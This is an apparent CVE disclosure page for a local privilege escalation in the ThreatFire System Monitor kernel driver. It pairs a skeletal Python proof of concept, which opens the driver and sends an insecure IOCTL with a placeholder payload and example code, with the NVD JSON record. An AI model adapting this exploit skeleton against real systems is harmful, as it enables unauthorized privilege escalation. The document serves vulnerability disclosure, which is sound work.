CVE-2025-61156

#!/usr/bin/env python3 """ CVE-2025-61156 PoC - ThreatFire System Monitor Local Privilege Escalation Author: D7EAD Note: This is a conceptual PoC for educational purposes only. """ import ctypes import sys import struct # Windows API definitions GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 OPEN_EXISTING = 3 # IOCTL codes (specific values depend on reverse engineering) THREATFIRE_IOCTL_CODE = 0x9A0D0004 # Example IOCTL code # Device name DEVICE_NAME = "\\\\.\\\\ThreatFire" def open_driver(): """Open handle to ThreatFire driver""" kernel32 = ctypes.windll.kernel32 handle = kernel32.CreateFileA( DEVICE_NAME.encode(), GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, None, OPEN_EXISTING, 0, None ) if handle == -1 or handle == 0: print("[-] Failed to open driver handle") return None print(f"[+] Driver handle opened: {handle}") return handle def exploit(handle): """Exploit the insecure IOCTL to escalate privileges""" kernel32 = ctypes.windll.kernel32 # Prepare exploit payload # This would contain shellcode or commands to execute input_buffer = struct.pack('<Q', 0x4141414141414141) # Placeholder output_buffer = ctypes.create_string_buffer(1024) bytes_returned = ctypes.c_ulong() # Send malicious IOCTL request result = kernel32.DeviceIoControl( handle, THREATFIRE_IOCTL_CODE, input_buffer, len(input_buffer), output_buffer, len(output_buffer), ctypes.byref(bytes_returned), None ) if result: print("[+] IOCTL request sent successfully") print("[*] Privilege escalation should be achieved") else: print(f"[-] IOCTL request failed: {kernel32.GetLastError()}") def main(): print("[*] CVE-2025-61156 ThreatFire System Monitor LPE PoC") print("[*] Target: ThreatFire System Monitor <= v4.7.0.53\n") handle = open_driver() if handle: exploit(handle) kernel32 = ctypes.windll.kernel32 kernel32.CloseHandle(handle) print("[*] Done") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-61156", "sourceIdentifier": "[email protected]", "published": "2025-10-29T15:15:43.577", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect access control in the kernel driver of ThreatFire System Monitor v4.7.0.53 allows attackers to escalate privileges and execute arbitrary commands via an insecure IOCTL."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/D7EAD", "source": "[email protected]"}, {"url": "https://github.com/D7EAD/CVE-2025-61156", "source": "[email protected]"}, {"url": "https://threatfire.informer.com/download/", "source": "[email protected]"}]}}